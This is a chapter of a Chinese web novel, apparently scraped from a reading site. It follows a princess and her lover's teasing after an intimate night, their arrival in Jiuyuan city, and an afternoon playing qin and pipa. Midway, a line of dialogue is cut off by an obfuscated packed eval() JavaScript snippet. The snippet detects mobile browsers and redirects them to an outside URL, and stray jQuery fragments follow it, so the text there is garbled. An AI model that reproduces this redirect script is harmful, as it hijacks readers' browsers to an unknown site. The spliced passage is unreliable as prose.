26. 第 26 章

作品:《饲犬之法

    翌日清晨。


    姜令从床上爬起来,身旁的位置已经空空如也。走得好,虽是为了不起什么有碍于名声的波澜,但正好她现在也不太能看见那张脸。


    姜令打开门,裘溪平指派的侍女候在门前,没有别人。迅速关门,洗漱,用膳。再开门,视线往左三寸,一个男人凭栏而立。


    似乎注意到姜令的目光,他转过脸来,就这么轻点了下头,淡声道:“郡主。”


    他穿着墨绿色的锦袍,乌发一丝不苟地束起,佩了一只莲花玉冠。那张积雪一样冷淡的脸上没什么表情,领子合得严严实实,几乎盖到喉口。


    一看就是那种特别循规蹈矩的深闺公子。


    姜令有点崩溃地移开视线。


    她胡乱点头,避开闻人朔,匆匆下楼,和还在大堂用膳的裘溪平低声交谈起来。期间没有回头,但她还是能感到如芒在背的视线。


    裘溪平语带迟疑:“怎么了,安平?”


    姜令揉了揉眉心:“还不到出发的时刻,是么?”


    “是……”


    不等裘溪平说完,姜令即道:“那我出去片刻。过阵子回来。”


    说罢,姜令起身,走到门外,正想着该去哪打发时间,她看见其他宾客的马,正在门口无聊地踢踏着蹄子。


    那就去马厩吧。


    马厩的四周静悄悄的,天擦亮了大半,客栈的马夫正在喂马,姜令在附近转了几圈,最后走到昨天拉车的马儿旁边。


    这马儿很不爱搭理人,看了她一眼,又低头忙着吃草。


    姜令压低声音,对马儿说:“你长得没踏雪好看,但也是一匹骏马。”


    马儿走开到另一边,闷头继续吃草,不理她了,姜令暗道:“倒是和踏雪一样小心眼。”


    她是爱屋及乌,觉得这世上的马儿都很有几分可爱之处。


    过了一会儿,马夫提桶走了。这马终于吃饱喝足,又走过来,用鼻子对着姜令,低着头和她对视。


    这是匹骟马,比较温顺,姜令试着摸了摸它的头,没有遭到拒绝。


    突然,马尾巴急促甩动几下,鸣叫一声,肌肉僵硬,后退着躲开了。姜令抬头,看见迎面走来的男人。


    姜令想:能被这么温顺的马嫌弃,这人真不受马的待见。


    她收回手手,站直身体,看着马的屁股,一时气氛有些沉默。


    闻人朔拿出一张帕子,慢慢地擦净她摸马的手,而后牵着她往一旁走去。


    这旁边是一片树林。


    春天。晴天。秀挺的一种树,姜令一时叫不上名字,正簌簌地长着新叶。月亮还没走,和另一头的亭瞳正遥遥相望。


    姜令浆糊一样跟着他走到这里,直到一片乌云蒙下来,她猛地抬手覆住他的脸,急促地说:“不许亲我!”


    闻人朔眨了眨眼睛,纤长的睫毛扇了扇,头后仰几分,不解道:“我已经漱过口了。”


    “那也不行。”姜令推开他,开始往外走。


    他怎么能那么若无其事啊!居然比姜令这个现代人还要……真的是古代人吗!


    “漱过很多次。”闻人朔拉住她的手。


    昨晚她就不许亲。当他故意想用鼻尖蹭她脸的时候,姜令惊恐地躲开了。


    因为鼻子也湿漉漉的。


    闻人朔想,她肯定有在心里骂他。


    但她一句话也说不出来,只能不停伸手推他,力道小得像撒娇,又像某种意味上的鼓励。


    可爱。


    “根本不是这个问题!”姜令停下回过头,恼火地说,“你现在给我保持距离。”


    有点陌生人的自觉吧!


    闻人朔反而用指尖轻轻勾了一下她的掌心,一副浑然不知悔改的样子。他微蹙眉凝望着她,痴痴道:“你不喜欢么?”


    “不要装可怜。”姜令硬邦邦地说。


    “我只是想让你高兴。”闻人朔失落地垂眸,“是我错了。不要不理我,不要像上次一样……”


    姜令扯了扯嘴角,忽然抬手环住他的腰,在他背上拍了两下。


    闻人朔愣住,犹豫片刻,还是将苦情戏份抛到脑后,也抱住姜令,又蹭了蹭她的头发。


    忽然腰上一软,闻人朔无意识地呻吟一声,差点向前栽倒。他很快稳住,才不至于压在姜令身上。


    姜令在他腰后敏感的地方摁了一道,然后用一种清心寡欲到能去念经的语气说:“其实昨晚最爽的是你吧?毕竟都没碰就…了,而且还比平时要……”


    闻人朔眼疾手快地捂住了姜令的嘴,脸上既惊又羞,红得像打翻了染缸。


    姜令平静得就像什么都没发生一样,又拍了拍他的腰,放开手往外走。


    走出小林,身后的人也没有跟上来。


    姜令揉了揉发烫的耳朵,对自己也能说出这些话感到震惊。


    接下来,闻人朔很是老实了几天,除了每晚照旧爬窗,白天都规规矩矩的,也不再说些乱七八糟的话。姜令都要以为那天是自己的幻想了。


    ……说实话,她的幻想也不会有那么超过。


    马车逐渐慢下来。


    想来是到九原城了。


    也对,走了这么长一段路,确实是要到了。


    外边传来窃窃私语声。然后,车壁被敲响,裘溪平站在车辙旁,仰头对姜令说:“安平,我得回府整理一点杂务,要耽搁几天,你的行程是否需要我安排?”


    意料之中。姜令问:“不必了,要等你几天?”


    裘溪平:“四天。我会尽快。”


    姜令颔首。她从马车上下来,闻人朔立在不远处,霜雪般的脸上是冻住一样的冷淡。


    他快步上前来,对姜令说:“郡主,我们走吧。还有事要处理。”


    姜令望向裘溪平,裘溪平立刻说:“既然如此,便不叨扰郡主。”


    裘溪平走后,姜令瞥了一眼闻人朔:“有什么事要处理?”


    她自己怎么不知道。


    闻人朔一本正经地说:“当然是该吃饭了。”


    原来已经是午时。


    姜令没有选择在外边吃,而是回到府上,府里的侍从果然都已经在忙出忙入,行色匆匆。


    这座宅邸是当初靖王买下,给长大后的姜令准备的。可惜,这份诞辰礼还未送出,靖王就撒手人寰了。


    考虑到女儿喜静,他特意选了城中较为幽静的地方,是以粗看之下,此处和昭国坊的环境有些相似。


    此处离靖王府在九原城的居所不算太远,但也没有近到走路就能到,所以姜令也是第一次来。


    毕竟她已经快有六年没踏出过元城了。


    府中的侍从并不多,大都是些近期从靖王府迁出来的老人。他们对陌生人的出现抱持一定的警惕。


    饭前的间隙,姜令叮嘱管事:“往后他就在这里住下,有什么你处理不了的事,通知我就好。”


    徐管事面色复杂:“郡主,这……”


    “无需紧张,是大哥的人。”姜令说,“至于什么不该说什么不该做,我会告诉他。”


    徐管事松了口气:“我知道了。午膳已经


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217429|197016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    备好,请郡主移步。”


    姜令不由得疑惑道:“不然你以为他是什么人?”


    “呃……”徐管事尴尬地说,“是我有误解……”


    “哦,你以为我和他有见不得人的关系,对吗?”姜令恍然大悟。


    “……请郡主恕罪。”徐管事擦了擦额头,“是下仆思虑不周。”


    “没事。其实你猜得不错。”姜令拍了拍徐管事的肩膀,“他确实也是我的人。”


    徐管事:“……这一条我还是忘掉吧。”


    姜令哈哈大笑,然后小声说:“他有什么需要,不过分的就满足他吧。”


    徐管事:“比如?”


    姜令道:“银钱不要短他。至于别的,不坏了府上规矩,就都由着他。”


    徐管事点头:“我会嘱咐府上的姊妹弟兄们,郡主放心便是。”


    回到饭厅,就见闻人朔望着正院,不知在想些什么,一派意兴阑珊。


    察觉到姜令的脚步,闻人朔回过头来,郁郁道:“你去了好久。”


    姜令疑惑。


    闻人朔说:“我以为你偷偷走了。”


    姜令:“……”


    戏要不要这么多。


    她略微无语地说:“还是先吃饭吧,我看你已经饿昏头了。”


    吃完饭,姜令又叮嘱闻人朔:要和府上的人好好相处;不要带外面的人进府;平时有什么事就找徐管事……


    闻人朔认真点头。


    看样子是听进去了,姜令稍微放下心,深感欣慰。


    洗去一身风尘,填饱肚子,人就想找点事消遣。


    这里的寝居布局和姜令在靖王府的院子差不多,只是听雨庐改成了花亭。


    午后,阳光落在五颜六色的花丛中,也打在富有光泽的涩浪石上,波光潋滟。


    亭中对坐两人。一人抱持琵琶,一人抚琴。一曲毕,姜令收手,举杯喝茶,长吐一口气。


    闻人朔替她添茶:“第一次听你弹《广陵散》。”


    “就是很久不弹,才想起要奏一遍。”姜令估摸着自己的精力,“再一会儿就去睡觉吧。”


    “不弹了?”


    “不弹了。”


    虽然现在还有点亢奋,但姜令觉得再弹一首,说不定自己就要趴下了。


    此刻汀花风闲,明漪绝底,滚圆的红鱼一来一往,在簇簇浮绿中隐现,春燕正于树梢尝试新换的嗓音。


    姜令捧着茶杯,目不转睛地看着不远处一蓬疏淡鸢尾。


    蓝紫色的花瓣上,停着一只金斑蝴蝶,半透明的上翅翕合,反射粼粼的日光,如同一颗闪耀华美的宝石。


    为了躲避日光,蝴蝶轻盈落到阑干上,又像是好奇心驱使,落到琴弦上。


    姜令下意识屏住呼吸。


    蝴蝶翕动了一下翅膀,发现自己无力驾驭这相对粗大的琴,于是又无留恋地飞走,落在一旁的八角花架上。


    姜令拿帕子擦了擦弦,忽然用力泛动琴弦,高昂的声音使蝴蝶惊而逃窜。不一会儿,就不见踪迹。


    姜令收回视线,又撑着脸,单手断断续续地弹了一段,才放下手,说:“走吧。”


    闻人朔起身,放下琵琶,来牵她的手:“你不喜欢它么?”


    其实没有。姜令简单道:“它离我太近了。”


    走出一段路,闻人朔忽然捏了捏她的手,若有所思道:“我现在也离你很近。”


    姜令已经对此人各种得寸进尺的行为免疫了。


    她默默在心里说:那你现在离我远点。